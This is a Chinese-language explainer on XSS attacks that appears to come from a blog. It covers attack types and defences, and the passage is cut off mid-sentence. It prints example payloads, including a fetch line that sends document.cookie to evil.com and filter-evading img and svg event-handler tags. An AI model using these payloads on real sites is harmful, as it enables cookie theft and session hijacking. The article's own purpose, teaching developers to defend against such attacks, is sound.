内容摘要：去年秋天，一个做独立博客的朋友给我发来截图：他的评论区里出现了一条奇怪的留言，内容是一段看起来乱七八糟的代码，里面夹着<script>标签。他没当回事，结果第二天登录后台，发现所有文章标题

去年秋天，一个做独立博客的朋友给我发来截图：他的评论区里出现了一条奇怪的留言，内容是一段看起来乱七八糟的代码，里面夹着<script>标签。他没当回事，结果第二天登录后台，发现所有文章标题都被改成了广告链接。这就是XSS——跨站脚本攻击。它不挑目标大小，只要你的网站有用户输入的地方，就可能被盯上。

简单说，XSS就是攻击者把恶意JavaScript代码注入到网页里，让浏览器以为这是网站自己的代码，然后乖乖执行。执行之后能干什么？偷Cookie、劫持会话、篡改页面内容、甚至直接控制用户的浏览器。最要命的是，受害者往往毫无察觉——页面看起来正常，只是背后多跑了一段脚本。

我见过一个典型的例子。某小型电商网站的商品搜索框，用户输入关键词后，页面会显示“您搜索的是：xxx”。如果输入<script>alert('xss')</script>，页面就会弹窗。这看起来只是个小玩笑，但攻击者可以把alert换成fetch('https://evil.com/steal?cookie='+document.cookie)，用户的登录凭证就悄悄发到了攻击者的服务器上。整个过程不需要用户点击任何链接，只要他们搜索了一次，就中招了。

XSS分三种类型。反射型最直接——恶意代码藏在URL参数里，服务器把它原样吐回页面。存储型最危险——恶意代码被存进数据库，比如评论区、用户资料，每个访问该页面的用户都会中招。DOM型最隐蔽——漏洞出在前端JavaScript里，服务器根本不知道发生了什么。我朋友那个博客就是存储型，攻击者把代码写进评论，数据库保存，所有访客的浏览器都执行了。

为什么XSS这么难根除？因为很多开发者觉得“用户输入不可信”是句废话，直到出事才后悔。我翻过一些开源项目的代码，发现他们用innerHTML拼接用户数据时眼睛都不眨。浏览器其实给了防御工具：textContent代替innerHTML，Content-Security-Policy头限制脚本来源，对输出做HTML实体编码。但工具摆在那里，不用就是另一回事了。

有个细节值得注意。很多XSS防护方案只盯着<script>标签，攻击者早就换了玩法。比如用<img src=x onerror=alert(1)>，或者<svg onload=alert(1)>。过滤规则如果只匹配